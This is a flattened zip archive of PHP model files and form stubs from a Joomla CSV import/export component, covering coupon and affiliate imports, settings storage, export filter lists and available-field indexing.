$csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_COUPON')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_COUPON')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_COUPON_NOT_ADDED', $this->_coupons->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_COUPON_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_coupons = $this->getTable('coupons'); } /** * Cleaning the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_coupons->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?>PK@y>\•@@Dcomponents/com_csvi/models/com_akeebasubs/import/affiliateimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->csviuser = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Load the helper $this->helper = new Com_Akeebasubs(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'enabled': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'commision': case 'amount': $this->$name = $this->cleanPrice($value); break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we have a user ID if (!isset($this->user_id) && isset($this->username)) { $this->user_id = $this->helper->getUser($this->username); } if (!empty($this->user_id)) { // Bind the data $this->_affiliates->bind($this); // Check if the affiliate needs to be deleted if ($this->affiliate_delete == 'Y') { $this->_deleteAffiliate(); } else { // Check the data $this->_affiliates->check(); // Store the data if ($this->_affiliates->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_AFFILIATE')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_AFFILIATE')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_AFFILIATE_NOT_ADDED', $this->_affiliates->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_AFFILIATE_QUERY'), true); // See if we have any affiliate payments to add if (isset($this->amount)) { if (!isset($this->created_on)) $this->created_on = $this->date->toMySQL(); // Bind the data $this->akeebasubs_affiliate_id = $this->_affiliates->akeebasubs_affiliate_id; $this->_affpayments->bind($this); // Check the data if ($this->_affpayments->check()) { // Store the data if ($this->_affpayments->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_AFFILIATEPAY')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_AFFILIATEPAY')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_AFFILIATEPAY_NOT_ADDED', $this->_affpayments->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_AFFILIATEPAY_QUERY'), true); } } } } // Clean the tables $this->cleanTables(); } /** * Load the affiliate related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_affiliates = $this->getTable('affiliates'); $this->_affpayments = $this->getTable('affpayments'); } /** * Cleaning the coupon related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_affiliates->reset(); $this->_affpayments->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Delete an affiliate * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _deleteAffiliate() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check the data if ($this->_affiliates->check()) { if ($this->_affiliates->delete()) { $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_AFFILIATES_DELETED', $this->_affiliates->akeebasubs_affiliate_id)); // Delete all payments if ($this->_affpayments->delete($this->user_id)) { $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_AFFILIATESPAY_DELETED', $this->user_id)); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_AFFILIATESPAY_NOT_DELETED', $this->user_id)); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_AFFILIATES_NOT_DELETED', $this->_affiliates->akeebasubs_affiliate_id)); } } } ?>PK@y>\):components/com_csvi/models/com_akeebasubs/import/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,4components/com_csvi/models/com_akeebasubs/index.htmlnuW+APK@y>\)3components/com_csvi/models/com_akeebasubs/.htaccessnuW+A Order allow,deny Deny from all PK@y>\RDk\\'components/com_csvi/models/settings.phpnuW+AloadForm($this->context, 'settings', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) return false; return $form; } /** * Method to get the data that should be injected in the form. * * @copyright * @author RolandD * @todo * @see getForm() * @access protected * @param * @return mixed The data for the form * @since 1.0 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_csvi.settings.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to get a single record. * * @copyright * @author RolandD * @todo Load the attributes * @see * @access public * @param integer The id of the primary key * @return mixed Object on success | false on failure * @since 1.0 */ public function getItem($pk = null) { if (!$this->_params) { $row = $this->getTable('settings'); $row->load(1); $registry = new JRegistry(); $registry->loadString($row->params); $this->_params = $registry->toArray(); } return $this->_params; } /** * Store the settings * * @copyright * @author RolandD * @todo * @see CsviModelAvailablefields::prepareAvailableFields * @access public * @param * @return bool true on success | false on failure * @since 4.0 */ public function save($data) { $row = $this->getTable('settings'); $registry = new JRegistry(); $registry->loadArray($data); // Set the values $row->id = 1; $row->params = $registry->toString(); if ($row->store()) { $this->_params = $registry; // Add the custom tables to the template tables table $db = JFactory::getDbo(); $tables = $registry->get('tables.tablelist'); $q = "INSERT IGNORE INTO ".$db->quoteName('#__csvi_template_tables')." (".$db->quoteName('template_type_name').", ".$db->quoteName('template_table').", ".$db->quoteName('component').") VALUES "; $fields = array(); foreach ($tables as $table) { $fields[] = "(".$db->quote('customimport').", ".$db->quote($table).", ".$db->quote('com_csvi').")"; $fields[] = "(".$db->quote('customexport').", ".$db->quote($table).", ".$db->quote('com_csvi').")"; } $q .= implode(',', $fields); $db->setQuery($q); $db->query(); return true; } else { $this->setError($row->getError()); return false; } } /** * Get a list of custom tables for import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of tables * @since 3.0 */ public function getTableList() { $db = JFactory::getDbo(); $tables = $db->getTableList(); $prefix = $db->getPrefix(); // Remove the table prefix foreach ($tables as $tkey => $table) { if (stristr($table, $prefix)) $tables[$tkey] = str_replace($prefix, '', $table); else unset($tables[$tkey]); } return $tables; } /** * Reset the settings * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true if settings reset | false if settings not reset * @since 3.1.1 */ public function getResetSettings() { $row = $this->getTable('settings'); $row->id = 1; $row->params = ''; return $row->store(); } } ?>PK@y>\j==%components/com_csvi/models/export.phpnuW+AsetQuery($q); return $db->loadObjectList(); } /** * Get the list of order users */ public function getOrderUser() { $db = JFactory::getDBO(); $jinput = JFactory::getApplication()->input; $filter = $jinput->get('filter'); $q = "SELECT DISTINCT user_id, IF (LENGTH(TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name))) = 0, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', IF (TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name)) is NULL, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', CONCAT(first_name, ' ', middle_name, ' ', last_name))) AS user_name FROM #__vm_order_user_info WHERE (first_name LIKE ".$db->Quote('%'.$filter.'%')." OR middle_name LIKE ".$db->Quote('%'.$filter.'%')." OR last_name LIKE ".$db->Quote('%'.$filter.'%').") ORDER BY user_name LIMIT 10;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of order products */ public function getOrderProduct() { $db = JFactory::getDBO(); $jinput = JFactory::getApplication()->input; $filter = $jinput->get('filter'); $q = "SELECT DISTINCT product_sku, product_name FROM #__vm_product p, #__vm_order_item o WHERE p.product_id = o.product_id AND (p.product_sku LIKE ".$db->Quote('%'.$filter.'%')." OR p.product_name LIKE ".$db->Quote('%'.$filter.'%')." OR p.product_s_desc LIKE ".$db->Quote('%'.$filter.'%').") ORDER BY product_name LIMIT 10;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of order products */ public function getOrderItemProduct() { $db = JFactory::getDBO(); $jinput = JFactory::getApplication()->input; $filter = $jinput->get('filter'); $q = "SELECT DISTINCT order_item_sku AS product_sku, order_item_name AS product_name FROM #__vm_order_item o WHERE (o.order_item_sku LIKE ".$db->Quote('%'.$filter.'%')." OR o.order_item_name LIKE ".$db->Quote('%'.$filter.'%').") ORDER BY order_item_name LIMIT 10;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of order products */ public function getOrderCurrency() { $db = JFactory::getDBO(); $q = "SELECT order_currency, currency_name FROM #__vm_orders o, #__vm_currency c WHERE o.order_currency = c.currency_code GROUP BY currency_name ORDER BY currency_name;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of exchange rate currencies */ public function getExchangeRateCurrency() { $db = JFactory::getDBO(); $q = "SELECT #__csvi_currency.currency_code AS currency_code, IF (#__vm_currency.currency_name IS NULL, #__csvi_currency.currency_code, #__vm_currency.currency_name) AS currency_name FROM #__csvi_currency LEFT JOIN #__vm_currency on #__vm_currency.currency_code = #__csvi_currency.currency_code;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of vendors */ public function getVendors() { $db = JFactory::getDBO(); $q = "SELECT vendor_id, REPLACE(vendor_name, '\\\', '') AS vendor_name FROM #__vm_vendor ORDER BY vendor_name;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of permissions */ public function getPermissions() { $db = JFactory::getDBO(); $q = "SELECT group_name AS group_id, group_name FROM #__vm_auth_group ORDER BY group_name;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Check if there are any templates with fields */ public function getCountTemplateFields() { $db = JFactory::getDBO(); $q = "SELECT field_template_id, COUNT(field_template_id) AS total FROM #__csvi_template_fields WHERE field_template_id in ( SELECT template_id FROM #__csvi_templates WHERE template_type LIKE '%export') GROUP BY field_template_id"; $db->setQuery($q); $nrfields = $db->loadResultArray(); if ($db->getErrorNum() > 0) { JError::raiseWarning(0, $db->getErrorMsg()); return false; } else { /* Check if there are any templates with more than 0 fields */ foreach ($nrfields as $key => $nr) { if ($nr > 0) return true; } } } /** * Get a list of all categories and put them in a select list * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string HTML multi select list * @since 3.0 */ public function getProductCategories() { $db = JFactory::getDBO(); // 1. Get all categories $q = "SELECT category_parent_id AS parent_id, category_child_id AS id, category_name AS catname FROM #__vm_category c LEFT JOIN #__vm_category_xref x ON c.category_id = x.category_child_id"; $db->setQuery($q); $rawcats = $db->loadObjectList(); if (!empty($rawcats)) { // 2. Group categories based on their parent_id $categories = array(); foreach ($rawcats as $key => $rawcat) { $categories[$rawcat->parent_id][$rawcat->id]['pid'] = $rawcat->parent_id; $categories[$rawcat->parent_id][$rawcat->id]['cid'] = $rawcat->id; $categories[$rawcat->parent_id][$rawcat->id]['catname'] = $rawcat->catname; } if (count($rawcats) > 10) $categorysize = 10; else $categorysize = count($rawcats)+1; } $this->options = array(); // Add a don't use option $this->options[] = JHtml::_('select.option', '', JText::_('COM_CSVI_EXPORT_DONT_USE')); if (isset($categories)) { if (count($categories) > 0) { // Take the toplevels first foreach ($categories[0] as $key => $category) { $this->options[] = JHtml::_('select.option', $category['cid'], $category['catname']); // Write the subcategories $suboptions = $this->buildCategory($categories, $category['cid'], array()); } } } return $this->options; } /** * Create the subcategory layout * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return array select options for the category tree * @since 3.0 */ private function buildCategory($cattree, $catfilter, $subcats, $loop=1) { if (isset($cattree[$catfilter])) { foreach ($cattree[$catfilter] as $subcatid => $category) { $this->options[] = JHtml::_('select.option', $category['cid'], str_repeat('>', $loop).' '.$category['catname']); $subcats = $this->buildCategory($cattree, $subcatid, $subcats, $loop+1); } } } /** * Get product type names */ public function getProductTypeNames() { $db = JFactory::getDBO(); $q = "SELECT product_type_id, product_type_name FROM #__vm_product_type"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get payment methods */ public function getPaymentMethods() { $db = JFactory::getDBO(); $q = "SELECT payment_method_id, payment_method_name FROM #__vm_payment_method ORDER BY list_order"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get a list of possible VM Item IDs */ public function getVmItemids() { $db = JFactory::getDBO(); $q = "SELECT id AS value, name AS text FROM #__menu WHERE link LIKE '%com_virtuemart%'"; $db->setQuery($q); return $db->loadObjectList(); } /** * Load all the shopper groups * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of shopper group objects * @since */ public function getShopperGroups() { $db = JFactory::getDBO(); $q = "SELECT shopper_group_id AS value, shopper_group_name AS text FROM #__vm_shopper_group"; $db->setQuery($q); $shoppergroups = $db->loadObjectList(); if (!empty($shoppergroups)) return $shoppergroups; else return array(); } /** * Load all the manufacturers * * @copyright * @author * @todo * @see * @access * @param * @return * @since */ function getManufacturers() { $db = JFactory::getDBO(); $q = "SELECT manufacturer_id AS value, mf_name AS text FROM #__vm_manufacturer ORDER BY mf_name"; $db->setQuery($q); $manufacturers = $db->loadObjectList(); if (!empty($manufacturers)) return $manufacturers; else return array(); } /** * Get the shipping address options * * @copyright * @author RolandD * @todo * @see * @access public * @param string $type for what type of export the shipping addresses should be generated * @return array of shipping address objects * @since 3.0 */ public function getShippingAddress($type) { // Get order shipping statusses $address = array(); // Add a dont use option $addressoption = new StdClass(); $addressoption->address_code = ''; $addressoption->address_name = JText::_('COM_CSVI_EXPORT_DONT_USE'); $address[] = $addressoption; $addressoption = new StdClass(); $addressoption->address_code = 'BT'; $addressoption->address_name = JText::_('COM_CSVI_BILLING_ADDRESS'); $address[] = $addressoption; $addressoption = new StdClass(); $addressoption->address_code = 'ST'; $addressoption->address_name = JText::_('COM_CSVI_SHIPPING_ADDRESS'); $address[] = $addressoption; if ($type == 'order') { $addressoption = new StdClass(); $addressoption->address_code = 'BTST'; $addressoption->address_name = JText::_('COM_CSVI_BILLING_SHIPPING_ADDRESS'); $address[] = $addressoption; } return $address; } /** * Get the list of selected order users * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array list of order user objects * @since 3.0 */ public function getSelectedOrderUser() { $app = JFactory::getApplication(); $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $db = JFactory::getDBO(); $orderuser = $template->get('orderuser', 'order', array(), 'array'); if (!empty($orderuser)) { $q = "SELECT DISTINCT user_id, IF (LENGTH(TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name))) = 0, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', IF (TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name)) is NULL, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', CONCAT(first_name, ' ', middle_name, ' ', last_name))) AS user_name FROM #__vm_order_user_info WHERE user_id IN (".implode(',', $orderuser).") ORDER BY user_name;"; $db->setQuery($q); return $db->loadObjectList(); } else return array(); } /** * Get the list of selected order products * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array list of order product objects * @since 3.0 */ public function getSelectedOrderProduct() { $app = JFactory::getApplication(); $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $db = JFactory::getDBO(); $products = $template->get('orderproduct', 'order', array(), 'array'); if (!empty($products)) { foreach ($products as $pkey => $product) { $products[$pkey] = $db->Quote($product); } $q = "SELECT DISTINCT product_sku, product_name FROM #__vm_product p, #__vm_order_item o WHERE p.product_id = o.product_id AND p.product_sku IN (".implode(',', $products).") ORDER BY product_name;"; $db->setQuery($q); return $db->loadObjectList(); } else return array(); } /** * Get the list of selected order item products * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array list of order item product objects * @since 3.0 */ public function getSelectedOrderItemProduct() { $app = JFactory::getApplication(); $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $db = JFactory::getDBO(); $products = $template->get('orderitemproduct', 'orderitem', array(), 'array'); if (!empty($products)) { foreach ($products as $pkey => $product) { $products[$pkey] = $db->Quote($product); } $q = "SELECT DISTINCT product_sku, product_name FROM #__vm_product p, #__vm_order_item o WHERE p.product_id = o.product_id AND p.product_sku IN (".implode(',', $products).") ORDER BY product_name;"; $db->setQuery($q); return $db->loadObjectList(); } else return array(); } /** * Get the list of selected order item products * * @copyright * @author RolandD * @todo INFORMATION_SCHEMA * @see * @access public * @param * @return array list of order item product objects * @since 3.0 */ public function getJoomFishLanguages() { $db = JFactory::getDBO(); $conf = JFactory::getConfig(); $q = "SELECT table_name FROM information_schema.tables WHERE table_schema = ".$db->Quote($conf->getValue('config.db'))." AND table_name = ".$db->Quote($conf->getValue('config.dbprefix').'languages'); $db->setQuery($q); $total = $db->loadResult(); if (!empty($total)) { $q = "SELECT ".$db->quoteName('name')." AS ".$db->quoteName('text').", ".$db->quoteName('id')." AS ".$db->quoteName('value')." FROM #__languages ORDER BY name"; $db->setQuery($q); return $db->loadObjectList(); } else return array(); } /** * Get a list of XML sites * * @copyright * @author RolandD * @todo * @see * @access public * @param string $type the type of files to find (XML or HTML) * @return array list of XML sites * @since 3.0 */ public function getExportSites($type) { jimport('joomla.filesystem.folder'); $files = array(); $path = JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/export/'.$type; if (JFolder::exists($path)) { $files = JFolder::files($path, '.php'); if (!empty($files)) { foreach ($files as $fkey => $file) { $files[$fkey] = basename($file, '.php'); } } else $files = array(); } return $files; } /** * Load the states to filter on * * @copyright * @author RolandD * @todo * @see * @access public * @param string $country the name of the country to filter on * @return array of available states to filter on * @since 3.1 */ public function getStates($country) { $db = JFactory::getDBO(); $q = "SELECT tax_state AS value, state_name AS text FROM `#__vm_tax_rate` LEFT JOIN `#__vm_state` ON `#__vm_tax_rate`.tax_state = `#__vm_state`.state_2_code LEFT JOIN `#__vm_country` ON `#__vm_state`.country_id = `#__vm_country`.country_id WHERE `#__vm_country`.country_3_code = ".$db->Quote($country)." GROUP BY state_name"; $db->setQuery($q); return $db->loadObjectList(); } /** * Load the countries to filter on * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of available countries to filter on * @since 3.1 */ public function getCountries() { $db = JFactory::getDBO(); $q = "SELECT country_3_code AS value, country_name AS text FROM `#__vm_tax_rate` LEFT JOIN `#__vm_country` ON `#__vm_tax_rate`.tax_country = `#__vm_country`.country_3_code GROUP BY country_name ORDER BY country_name"; $db->setQuery($q); $countries = $db->loadObjectList(); if (!empty($countries)) return $countries; else return array(); } } ?>PK@y>\UGMR00.components/com_csvi/models/availablefields.phpnuW+Ainput; $app = JFactory::getApplication('administrator'); // Load the filter state $this->setState('filter.action', $app->getUserStateFromRequest($this->_context.'.filter.action', 'jform_options_action', 'import', 'word')); $this->setState('filter.component', $app->getUserStateFromRequest($this->_context.'.filter.component', 'jform_options_component', 'com_csvi', 'word')); $this->setState('filter.operation', $app->getUserStateFromRequest($this->_context.'.filter.operation', 'jform_options_operation', 'customimport', 'word')); $this->setState('filter.avfields', $app->getUserStateFromRequest($this->_context.'.filter.avfields', 'filter_avfields', false, 'word')); $this->setState('filter.idfields', $jinput->get('filter_idfields')); // List state information. // Controls the query ORDER BY parent::populateState('csvi_name', 'asc'); } /** * Build an SQL query to load the list data. * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return object the query to execute * @since 4.0 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select('csvi_name, component_name, component_table, isprimary'); $query->from('#__csvi_available_fields AS a'); // Join the template types $query->leftJoin('#__csvi_template_tables AS t ON t.template_table = a.component_table'); // Add all the filters $filters = array(); if ($this->getState('filter.action') != '') $filters[] = "SUBSTRING(t.template_type_name, -6) = ".$db->Quote($this->getState('filter.action')); if ($this->getState('filter.component') != '') { $filters[] = "a.component = ".$db->Quote($this->getState('filter.component')); $filters[] = "t.component = ".$db->Quote($this->getState('filter.component')); } if ($this->getState('filter.operation') != '') $filters[] = "t.template_type_name = ".$db->Quote($this->getState('filter.operation')); if ($this->getState('filter.avfields') != '') $filters[] = "(csvi_name LIKE ".$db->Quote('%'.$this->getState('filter.avfields').'%')." OR component_name LIKE ".$db->Quote('%'.$this->getState('filter.avfields').'%')." OR component_table LIKE ".$db->Quote('%'.$this->getState('filter.avfields').'%').")"; if (!$this->getState('filter.idfields')) $filters[] = "(csvi_name NOT LIKE '%\_id' AND csvi_name NOT LIKE 'id')"; // Add the filters to the query if (!empty($filters)) { $query->where('('.implode(' AND ', $filters).')'); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } /** * Fill the available fields table * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getFillAvailableFields() { // Load the session data $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $session = JFactory::getSession(); $option = $jinput->get('option'); $continue = true; while ($continue) { $continue = $this->getAvailableFieldsSingle(); } $csvilog = unserialize($session->get($option.'.csvilog')); $jinput->set('csvilog', $csvilog); return; } /** * Prepare for available fields importing. * * 1. Set all tables to be indexed * 2. Empty the available fields table * 3. Import the extra availablefields sql file * 4. Find what tables need to be imported and store them in the session * * @copyright * @author RolandD * @todo * @see CsviModelSettings::save * @access public * @param * @return * @since 3.5 */ public function prepareAvailableFields() { $db = JFactory::getDBO(); $jinput = JFactory::getApplication()->input; // Load the session data $session = JFactory::getSession(); $option = $jinput->get('option'); $csvilog = $jinput->get('csvilog', null, null); // Clean the session $session->set($option.'.csvilog', serialize('0')); // Set all tables to be indexed $query = $db->getQuery(true); $query->update('#__csvi_template_tables'); $query->set('indexed = 0'); $db->setQuery($query); $db->query(); // Empty the available fields first $q = "TRUNCATE TABLE `#__csvi_available_fields`"; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_AVAILABLE_FIELDS_TABLE_EMPTIED')); else $csvilog->AddStats('error', JText::_('COM_CSVI_AVAILABLE_FIELDS_TABLE_COULD_NOT_BE_EMPTIED')); // Add some extra fields jimport('joomla.filesystem.file'); if (JFile::exists(JPATH_COMPONENT_ADMINISTRATOR.'/install/availablefields_extra.sql')) { $q = JFile::read(JPATH_COMPONENT_ADMINISTRATOR.'/install/availablefields_extra.sql'); $db->setQuery($q); if ($db->query()) $csvilog->AddStats('added', JText::_('COM_CSVI_CUSTOM_AVAILABLE_FIELDS_HAVE_BEEN_ADDED')); else $csvilog->AddStats('error', JText::_('COM_CSVI_CUSTOM_AVAILABLE_FIELDS_HAVE_NOT_BEEN_ADDED')); } else $csvilog->AddStats('error', JText::sprintf('AVAILABLEFIELDS_EXTRA_NOT_FOUND', JPATH_COMPONENT_ADMINISTRATOR.'/install/availablefields_extra.sql')); // Add the log the session $session->set($option.'.csvilog', serialize($csvilog)); } /** * Import the available fields in steps * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function getAvailableFieldsSingle() { $db = JFactory::getDbo(); $jinput = JFactory::getApplication()->input; $queries = array(); // Load the session data $session = JFactory::getSession(); $option = $jinput->get('option'); $csvilog = unserialize($session->get($option.'.csvilog')); $lines = unserialize($session->get($option.'.linesprocessed')); if (empty($lines)) $lines = 0; $lines++; // Set the line number $csvilog->setLinenumber($lines); $errors = false; // Load a table to index $q = "SELECT template_table, component FROM #__csvi_template_tables WHERE `indexed` = 0 AND `template_table` != `template_type_name` GROUP BY `template_table` LIMIT 1"; $db->setQuery($q); $table = $db->loadObject(); if (is_object($table)) { // Set the table name $showtable = $table->template_table; // Check if the table exists $tables = $db->getTableList(); if (in_array($db->getPrefix().$showtable, $tables)) { // Get the primary key for the table $primarykey = CsviHelper::getPrimaryKey($showtable); $fields = $this->DbFields($showtable, true); if (is_array($fields)) { // Process all fields foreach ($fields as $name => $value) { // Check if the field is a primary field if ($primarykey == $name) $primary = 1; else $primary = 0; if ($name) { $q = "INSERT IGNORE INTO ".$db->quoteName('#__csvi_available_fields')." VALUES (" ."0," .$db->Quote($name)."," .$db->Quote($name)."," .$db->Quote($value)."," .$db->Quote($table->component)."," .$db->Quote($primary).")"; $db->setQuery($q); if (!$db->query()) $errors = true; } } // foreach // Check for any errors if (!$errors) { $jinput->set('updatetable', $showtable); $csvilog->AddStats('added', JText::sprintf('COM_CSVI_AVAILABLE_FIELDS_HAVE_BEEN_ADDED', $showtable)); } else { $csvilog->AddStats('error', JText::_('COM_CSVI_AVAILABLE_FIELDS_HAVE_NOT_BEEN_ADDED')); } } // is_array } // Set the table to indexed $q = "UPDATE #__csvi_template_tables SET indexed = 1 WHERE template_table = ".$db->Quote($showtable)." AND component = ".$db->Quote($table->component); $db->setQuery($q); $db->query(); // Assign the tables to the session $session->set($option.'.linesprocessed', serialize($lines)); $continue = true; } // empty else { $jinput->set('csvilog', $csvilog); // Clear the session $session->set($option.'.csvilog', serialize('0')); $session->set($option.'.linesprocessed', serialize('0')); // Set the run ID $jinput->set('run_id', $csvilog->getId()); $continue = false; } // Assign the log to the session $session->set($option.'.csvilog', serialize($csvilog)); return $continue; } /** * Creates an array of custom database fields the user can use for import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of custom database fields * @since 3.0 */ public function DbFields($table, $addname=false) { $db = JFactory::getDBO(); $customfields = array(); $q = "SHOW COLUMNS FROM ".$db->quoteName('#__'.$table); $db->setQuery($q); $fields = $db->loadObjectList(); if (count($fields) > 0) { foreach ($fields as $key => $field) { if ($addname) $customfields[$field->Field] = $table; else $customfields[$field->Field] = null; } } return $customfields; } /** * Get the fields belonging to a certain operation type * * @copyright * @author RolandD * @todo * @see * @access public * @param string $type the template type name * @return array list of tables or fields * @since 3.0 */ public function getAvailableFields($type, $component, $filter='array', $table_name=null) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('LOWER(csvi_name) AS value, LOWER(csvi_name) AS text'); $query->from('#__csvi_available_fields AS a'); $query->leftJoin('#__csvi_template_tables AS t ON t.template_table = a.component_table'); $query->where($db->quoteName('t.template_type_name').' = '.$db->quote($type)); $query->where($db->quoteName('t.component').' = '.$db->quote($component)); $query->where($db->quoteName('a.component').' = '.$db->quote($component)); if ($table_name) $query->where($db->quoteName('t.template_table').' = '.$db->quote($table_name)); $query->group('csvi_name'); $db->setQuery($query); // Get the results $fields = array(); if ($filter == 'array') $fields = $db->loadColumn(); else if ($filter == 'object') $fields = $db->loadObjectList(); // Return the array of fields return $fields; } /** * Check if there are enough fields in the database * * @author RolandD * @access public * @return bool true|false */ public function getFieldCheck() { $db = JFactory::getDBO(); $q = 'SELECT COUNT(id) FROM #__csvi_available_fields'; $db->setQuery($q); if ($db->loadResult() > 0) return true; else return false; } /** * Proxy for getModel * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return object of a database model * @since 4.0 */ public function getModel($name = 'AvailableFields', $prefix = 'CsviModel') { $model = JModel::getInstance($name, $prefix, array('ignore_request' => true)); return $model; } } ?>PK@y>\)@components/com_csvi/models/forms/com_akeebasubs/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,Acomponents/com_csvi/models/forms/com_akeebasubs/export/index.htmlnuW+APK@y>\-ްrf f Gcomponents/com_csvi/models/forms/com_akeebasubs/export/subscription.xmlnuW+A PK@y>\)9components/com_csvi/models/forms/com_akeebasubs/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,:components/com_csvi/models/forms/com_akeebasubs/index.htmlnuW+APK@y>\]M0components/com_csvi/models/forms/replacement.xmlnuW+A
      PK@y>\#o,,+components/com_csvi/models/forms/index.htmlnuW+APK@y>\#o,,2components/com_csvi/models/forms/import/index.htmlnuW+APK@y>\)1components/com_csvi/models/forms/import/.htaccessnuW+A Order allow,deny Deny from all PK@y>\D1components/com_csvi/models/forms/import/limit.xmlnuW+A PK@y>\)*components/com_csvi/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ 9-components/com_csvi/models/forms/settings.xmlnuW+A
      PK@y>\z+x,+components/com_csvi/models/forms/import.xmlnuW+A PK@y>\#o,,2components/com_csvi/models/forms/export/index.htmlnuW+APK@y>\P1components/com_csvi/models/forms/export/email.xmlnuW+A PK@y>\w 2components/com_csvi/models/forms/export/layout.xmlnuW+A PK@y>\0|uu1components/com_csvi/models/forms/export/limit.xmlnuW+A PK@y>\)1components/com_csvi/models/forms/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\|YZZ1components/com_csvi/models/forms/templatetype.xmlnuW+A
